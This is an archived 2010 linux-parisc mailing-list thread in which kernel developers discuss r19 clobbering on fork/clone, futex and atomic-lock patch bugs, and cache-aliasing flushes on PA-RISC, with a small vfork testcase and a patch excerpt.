References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270826020 1599 80.91.229.12 (9 Apr 2010 15:13:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Apr 2010 15:13:40 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 17:13:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0Ftp-0007B8-3R
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 17:13:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752953Ab0DIPNe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Apr 2010 11:13:34 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3143 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751241Ab0DIPNe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Apr 2010 11:13:34 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6693E4E77; Fri,  9 Apr 2010 11:13:31 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2772
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2772>

On Fri, 09 Apr 2010, Carlos O'Donell wrote:

> We need to start splitting up your giant "stability" patch into
> manageable chunks.

I agree.  What I posted was not intended as a submission.  Some
of the changes aren't mine, some are cleanups, some are "obvious",
some are not obvious and may well be wrong, or inefficient.

I posted the change to not clobber r19 on fork/clone syscalls,
but there has been no response to it.

I will try split up the change this weekend.

> For example, are the futex fixes anywhere for Kyle to pickup?

The futex fixes are Helge's and were posted to the list on Wed,
03 Feb 2010 23:03:49 +0100 along with Helge's minifail3.c.

The change to syscall.S in the above post included two hunks from me.
I removed Helge's portion so that I could enable LWS locking on UP
builds because of the concern that a page fault on COW memory could
cause user code to be scheduled in the locking code.

I think there is merit in using __atomic_user_hash, etc, but it
will take a bit of work to make it available in UP kernels.
I think Helge's change to fork.c is probably not necessary.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 09 Apr 2010 11:48:56 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <1270828136.8319.126.camel@mulgrave.site>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
	 <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
	 <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
	 <20100409151330.GA23889@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270828144 10028 80.91.229.12 (9 Apr 2010 15:49:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Apr 2010 15:49:04 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 17:49:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0GS5-0007bQ-Dn
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 17:49:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754338Ab0DIPtA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Apr 2010 11:49:00 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36925 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752937Ab0DIPtA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Apr 2010 11:49:00 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A09248EE0FD;
	Fri,  9 Apr 2010 08:48:59 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Ava8cTCQKwHh; Fri,  9 Apr 2010 08:48:59 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E688E8EE0E7;
	Fri,  9 Apr 2010 08:48:58 -0700 (PDT)
In-Reply-To: <20100409151330.GA23889@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2773
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2773>

On Fri, 2010-04-09 at 11:13 -0400, John David Anglin wrote:
> On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> 
> > We need to start splitting up your giant "stability" patch into
> > manageable chunks.
> 
> I agree.  What I posted was not intended as a submission.  Some
> of the changes aren't mine, some are cleanups, some are "obvious",
> some are not obvious and may well be wrong, or inefficient.
> 
> I posted the change to not clobber r19 on fork/clone syscalls,
> but there has been no response to it.

Theory looks fine to me ... although Helge sees no difference in
behaviour, I'd be happy to apply on the principle of no harm and
theoretically necessary.

> I will try split up the change this weekend.
> 
> > For example, are the futex fixes anywhere for Kyle to pickup?
> 
> The futex fixes are Helge's and were posted to the list on Wed,
> 03 Feb 2010 23:03:49 +0100 along with Helge's minifail3.c.
> 
> The change to syscall.S in the above post included two hunks from me.
> I removed Helge's portion so that I could enable LWS locking on UP
> builds because of the concern that a page fault on COW memory could
> cause user code to be scheduled in the locking code.
> 
> I think there is merit in using __atomic_user_hash, etc, but it
> will take a bit of work to make it available in UP kernels.
> I think Helge's change to fork.c is probably not necessary.

I'm fairly convinced we need the flush on kmap(_atomic) as well if the
user had dirtied the page.  Right at the moment if the aliases are
inequivalent (which they are about 99.9% of the time) we're in danger of
using stale data in the kernel.  We also need a flush on kunmap if the
kernel has dirtied the page.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 9 Apr 2010 12:22:48 -0400
Organization: nrc.ca
Lines: 82
Approved: news@gmane.org
Message-ID: <20100409162247.GA24334@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca> <1270828136.8319.126.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270830177 17969 80.91.229.12 (9 Apr 2010 16:22:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Apr 2010 16:22:57 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 18:22:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0Gyr-0001YH-64
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 18:22:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751041Ab0DIQWw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Apr 2010 12:22:52 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3152 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750883Ab0DIQWv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Apr 2010 12:22:51 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 324FF505C; Fri,  9 Apr 2010 12:22:48 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1270828136.8319.126.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2774>

On Fri, 09 Apr 2010, James Bottomley wrote:

> > I posted the change to not clobber r19 on fork/clone syscalls,
> > but there has been no response to it.
> 
> Theory looks fine to me ... although Helge sees no difference in
> behaviour, I'd be happy to apply on the principle of no harm and
> theoretically necessary.

Testcase is below.  Compile with `-static' to link with libc.a.
Testcase prints incorrect parent pid.

Carlos recently updated glibc so it saves/restores r19 across syscalls
in non-PIC code.  I thought Helge tested this update, so he wouldn't
see the problem unless he tested with an "old" version of glibc.

While there isn't a lot of code linked with -static (I mainly
use for debugging), there's no real reason that the kernel needs
to clobber r19 across fork/clone.

If we want to preserve pad0 for some future use, I think that it
should be possible to use another syscall clobbered register to
save the return pointer for the child.

> I'm fairly convinced we need the flush on kmap(_atomic) as well if the
> user had dirtied the page.  Right at the moment if the aliases are
> inequivalent (which they are about 99.9% of the time) we're in danger of
> using stale data in the kernel.  We also need a flush on kunmap if the
> kernel has dirtied the page.

This is presumably for PA8800/PA8900 processors?  I'm a bit surprised
that HP would change the cache coherency requirement for these processors
alone given the performance hit in maintaining coherency.  Is this an
issue for all systems with more than two processors?

I've wondered if checking the dirty bit in kunmap would help performance.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>

#define CALL_EXIT 0

int main (void)
{
  pid_t child;
  pid_t parent;
  char *cmd[] = { "bash", "-c", "echo In child $$;", (char *)0 };
  char *env[] = { "HOME=/tmp", (char *)0 };
  int ret;

  child = vfork();

  if (child == 0)
    {
      ret = execve("/bin/bash", cmd, env);
      // printf ("ret = %d\n", ret);
      _exit(1);
    }
  else
    {
      // printf("child != 0\n");
    }

  parent = getpid();
  printf("parent is %d\n", (unsigned int)parent);
  printf("child is %d\n", (unsigned int)child);

  return 0;
}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Fri, 09 Apr 2010 12:31:39 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <1270830699.8319.175.camel@mulgrave.site>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca>
	 <20100408224446.96F294FA3@hiauly1.hia.nrc.ca>
	 <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
	 <20100409151330.GA23889@hiauly1.hia.nrc.ca>
	 <1270828136.8319.126.camel@mulgrave.site>
	 <20100409162247.GA24334@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270830709 20096 80.91.229.12 (9 Apr 2010 16:31:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 9 Apr 2010 16:31:49 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>, deller@gmx.de,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 09 18:31:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0H7Q-0006GU-O6
	for glpp-linux-parisc@lo.gmane.org; Fri, 09 Apr 2010 18:31:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753064Ab0DIQbm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 9 Apr 2010 12:31:42 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:54966 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752757Ab0DIQbm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 9 Apr 2010 12:31:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C33538EE0FD;
	Fri,  9 Apr 2010 09:31:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CP183ALqxLfC; Fri,  9 Apr 2010 09:31:41 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 19F5D8EE0E7;
	Fri,  9 Apr 2010 09:31:41 -0700 (PDT)
In-Reply-To: <20100409162247.GA24334@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2775>

On Fri, 2010-04-09 at 12:22 -0400, John David Anglin wrote:
> On Fri, 09 Apr 2010, James Bottomley wrote:
> 
> > > I posted the change to not clobber r19 on fork/clone syscalls,
> > > but there has been no response to it.
> > 
> > Theory looks fine to me ... although Helge sees no difference in
> > behaviour, I'd be happy to apply on the principle of no harm and
> > theoretically necessary.
> 
> Testcase is below.  Compile with `-static' to link with libc.a.
> Testcase prints incorrect parent pid.
> 
> Carlos recently updated glibc so it saves/restores r19 across syscalls
> in non-PIC code.  I thought Helge tested this update, so he wouldn't
> see the problem unless he tested with an "old" version of glibc.
> 
> While there isn't a lot of code linked with -static (I mainly
> use for debugging), there's no real reason that the kernel needs
> to clobber r19 across fork/clone.
> 
> If we want to preserve pad0 for some future use, I think that it
> should be possible to use another syscall clobbered register to
> save the return pointer for the child.
> 
> > I'm fairly convinced we need the flush on kmap(_atomic) as well if the
> > user had dirtied the page.  Right at the moment if the aliases are
> > inequivalent (which they are about 99.9% of the time) we're in danger of
> > using stale data in the kernel.  We also need a flush on kunmap if the
> > kernel has dirtied the page.
> 
> This is presumably for PA8800/PA8900 processors?

No the pa88/89 problem was a clean alias resolution issue, which doesn't
exist on earlier processors that don't have the L3 PIPT cache.  The
problem I think we see infrequently (very infrequently) is that we kmap
a user page that has dirty cache lines and access it through the kernel
alias before the lines get cleaned.  This only occurs in a very few
areas of the kernel (like copy_user_highpage), but it's a potential
source of stale data through inequivalent aliasing.

>   I'm a bit surprised
> that HP would change the cache coherency requirement for these processors
> alone given the performance hit in maintaining coherency.  Is this an
> issue for all systems with more than two processors?

The requirement has always been flush the dirty line before accessing
via another alias (appendix F says that) I just think we've been playing
it a bit loose in the kmap area.

> I've wondered if checking the dirty bit in kunmap would help performance.

It would ... enormously ...  and also on kmap.  The latter is much
harder to do since we need the vaddr of the page and we don't get it fed
in via the API.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 10 Apr 2010 22:46:37 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4BC0E3AD.4050802@gmx.de>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270932406 18182 80.91.229.12 (10 Apr 2010 20:46:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 10 Apr 2010 20:46:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 10 22:46:44 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0hZj-0007Ps-EI
	for glpp-linux-parisc@lo.gmane.org; Sat, 10 Apr 2010 22:46:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751766Ab0DJUqm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Apr 2010 16:46:42 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42581 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751595Ab0DJUqm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Apr 2010 16:46:42 -0400
Original-Received: (qmail invoked by alias); 10 Apr 2010 20:46:40 -0000
Original-Received: from p54AD0790.dip0.t-ipconnect.de (EHLO halden.box) [84.173.7.144]
  by mail.gmx.net (mp033) with SMTP; 10 Apr 2010 22:46:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+KRgEKT2OKCjw3yMGuaxrfLpBLovb6yH9agyNg6N
	dhpt5z5tUX/c8x
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <20100409151330.GA23889@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53000000000000003
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2776
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2776>

On 04/09/2010 05:13 PM, John David Anglin wrote:
> On Fri, 09 Apr 2010, Carlos O'Donell wrote:
>> For example, are the futex fixes anywhere for Kyle to pickup?
> 
> The futex fixes are Helge's and were posted to the list on Wed,
> 03 Feb 2010 23:03:49 +0100 along with Helge's minifail3.c.

Yes, but there is still a bug in the patch I sent, and it's still in Dave's big
patchset. See below...

--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_lock_irqsave_user(l,f)

atomic_spin_lock_irqsave_user() is wrong.
It needs to be:
->  atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave_user(l,f)

In addition, my patch doesn't touches all needed atomic locks.

Nevertheless, on my B2000 (32bit, SMP, 2.6.32.2 kernel) I still do see the minifail bug.
The only difference seems to be, that the minifail3 program doesn't get stuck any
more. It still crashes though from time to time...
So, at least a little improvement :-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 10 Apr 2010 17:56:54 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20100410215655.7B5CF513F@hiauly1.hia.nrc.ca>
References: <4BC0E3AD.4050802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270936622 30549 80.91.229.12 (10 Apr 2010 21:57:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 10 Apr 2010 21:57:02 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org,
	gniibe@fsij.org, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 10 23:57:00 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0ifj-0003b7-VQ
	for glpp-linux-parisc@lo.gmane.org; Sat, 10 Apr 2010 23:57:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751420Ab0DJV45 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Apr 2010 17:56:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3230 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751176Ab0DJV45 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Apr 2010 17:56:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7B5CF513F; Sat, 10 Apr 2010 17:56:55 -0400 (EDT)
In-Reply-To: <4BC0E3AD.4050802@gmx.de> from "Helge Deller" at Apr 10, 2010 10:46:37 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2777>

> On 04/09/2010 05:13 PM, John David Anglin wrote:
> > On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> >> For example, are the futex fixes anywhere for Kyle to pickup?
> > 
> > The futex fixes are Helge's and were posted to the list on Wed,
> > 03 Feb 2010 23:03:49 +0100 along with Helge's minifail3.c.
> 
> Yes, but there is still a bug in the patch I sent, and it's still in Dave's big
> patchset. See below...
> 
> --- a/arch/parisc/include/asm/atomic.h
> +++ b/arch/parisc/include/asm/atomic.h
>  #else
>  #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
>  #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
> +#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
> +#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_lock_irqsave_user(l,f)
> 
> atomic_spin_lock_irqsave_user() is wrong.
> It needs to be:
> ->  atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave_user(l,f)

Huh?  I see the following line is wrong...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 10 Apr 2010 18:53:56 -0400
Organization: nrc.ca
Lines: 38
Approved: news@gmane.org
Message-ID: <20100410225355.GA2812@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca> <4BC0E3AD.4050802@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1270940047 7475 80.91.229.12 (10 Apr 2010 22:54:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 10 Apr 2010 22:54:07 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 00:54:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O0jYu-00016y-7h
